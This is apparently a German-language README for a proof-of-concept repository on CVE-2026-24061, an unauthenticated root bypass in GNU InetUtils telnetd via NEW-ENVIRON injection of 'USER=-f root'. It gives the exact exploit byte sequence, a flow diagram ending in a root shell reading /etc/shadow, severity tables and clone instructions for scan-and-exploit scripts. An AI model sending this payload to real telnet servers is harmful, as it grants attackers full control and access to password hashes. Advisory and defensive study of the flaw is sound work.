
GNU InetUtils telnetd – Nicht authentifizierter Remote-Root-Zugriff über NEW-ENVIRON-Variableninjektion.
GNU InetUtils telnetd - Nicht authentifizierter Remote-Root-Zugriff durch NEW-ENVIRON-Variableninjektion
Überblick - Technische Analyse - Betroffene Versionen - Verwendung - Behebung und Gegenmaßnahmen - Referenzen
CVE-2026-24061 ist eine kritische Authentifizierungs-Bypass-Schwachstelle im telnetd-Daemon, der als Teil von GNU InetUtils ausgeliefert wird. Der Fehler liegt in der Verarbeitung der Telnet-Option NEW-ENVIRON (RFC 1572) während des anfänglichen Protokoll-Handshakes.
Die Grundursache ist eine fehlende Bereinigung der vom Client gelieferten Umgebungsvariablen, bevor diese an das Programm login(1) übergeben werden. Wenn der Telnet-Daemon ein NEW-ENVIRON IS-Sub-Negotiation-Paket mit der Variablen USER und dem Wert -f root empfängt, übergibt er diesen unbereinigten Wert direkt an das System-login-Binary.
Auf Systemen, auf denen login das Flag -f akzeptiert (erzwungener Login ohne Passwortprüfung), führt dies dazu, dass dem entfernten Angreifer eine nicht authentifizierte Root-Sitzung gewährt wird.
Diese Schwachstellenklasse hat historische Präzedenzfälle: CVE-2001-0797 in SysV telnetd und der bekannte Linux-telnetd--f-Bypass von 1994 nutzten denselben grundlegenden Fehler aus: die fehlende Bereinigung von umgebungsbasierten Argumenten, die an privilegierte Binaries übergeben werden.
Keine Anmeldeinformationen erforderlich. Kein vorheriger Zugriff nötig. Eine einzige Netzwerkpaketsequenz führt zu Root.
GNU InetUtils telnetd verarbeitet die NEW-ENVIRON-Sub-Negotiation (Optionscode 0x27, gemäß RFC 1572), um vom Client gelieferte Umgebungsvariablen zu sammeln. Diese Variablen werden zu einem Argumentvektor zusammengesetzt und beim Starten von login(1) an execve(2) übergeben.
Die Schwachstelle wird wie folgt ausgelöst:
IAC DO NEW-ENVIRON und fordert damit Umgebungsvariablen vom Client an.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd konstruiert den login-Aufruf als login -f root.login(1) interpretiert -f als „Login erzwingen, Authentifizierung überspringen" und meldet den angegebenen Benutzer (root) ohne Passwortabfrage an.| Schritt | Richtung | Telnet-Bytes (hex) | Bedeutung |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root funktioniertDas login(1)-Binary auf vielen Linux-Systemen akzeptiert das Flag -f <user> für „vorauthentifizierte" Logins, das historisch von Terminal-Multiplexern und rlogin verwendet wurde. Wenn telnetd seinen exec-Aufruf aufbaut und es versäumt, führende Bindestriche zu entfernen oder optionsähnliche Zeichenfolgen in Umgebungsvariablenwerten zu validieren, übergibt es unbeabsichtigt vom Angreifer kontrollierte Flags direkt an login.
Der effektive Aufruf wird zu:
execve("/bin/login", ["login", "-f", "root"], envp);
Angreifer Verwundbarer telnetd (Port 23)
| |
|------- TCP SYN (Port 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Telnet-Banner + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd ruft auf: login -f root] |
| |
|<------ Root-Shell-Eingabeaufforderung (#) --------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow-Inhalt -------|
Voraussetzungen:
telnetd (TCP/23 offen)inetutilslogin(1)-Binary unterstützt das Flag -f (Standard auf den meisten Linux-Distributionen)| Software | Betroffene Versionen | Status |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (spezifische gepatchte Version noch offen) | Verwundbar |
| Distributionen mit nicht gepatchtem GNU inetutils | Verschiedene | Herstellerhinweis prüfen |
Prüfen Sie, ob Ihre Distribution eine gepatchte Version ausliefert. Viele moderne Systeme haben Telnet standardmäßig deaktiviert; die Gefährdung erfordert einen explizit laufenden
telnetd.
| Metrik | Wert |
|---|---|
| CVSS v3.1 Basis-Score | 9.8 (Kritisch) |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Scope | Unverändert |
| Vertraulichkeitsauswirkung | Hoch |
| Integritätsauswirkung | Hoch |
| Verfügbarkeitsauswirkung | Hoch |
| Vektor-String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ATT&CK-ID | Taktik | Technik | Relevanz |
|---|---|---|---|
| T1190 | Initialer Zugriff | Ausnutzung öffentlich zugänglicher Anwendungen | Direkte Ausnutzung von telnetd über das Netzwerk |
| T1059 | Ausführung | Befehls- und Skriptinterpreter | Shell-Ausführung nach der Ausnutzung |
| T1078.004 | Privilegienerweiterung / Umgehung der Verteidigung | Gültige Konten: Lokale Konten | Authentifizierungs-Bypass führt zu einer gültigen Root-Sitzung |
| T1548 | Privilegienerweiterung | Missbrauch von Erhöhungs-Kontrollmechanismen | login -f-Flag wird missbraucht, um PAM/Authentifizierung zu umgehen |
| T1046 | Entdeckung | Netzwerkdienst-Entdeckung | Massen-Scan-Komponente des PoC |
Anforderungen: Python 3 (nur Standardbibliothek, null externe Abhängigkeiten).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
Kein pip install erforderlich. Beide Skripte verwenden nur die Python-Standardbibliothek.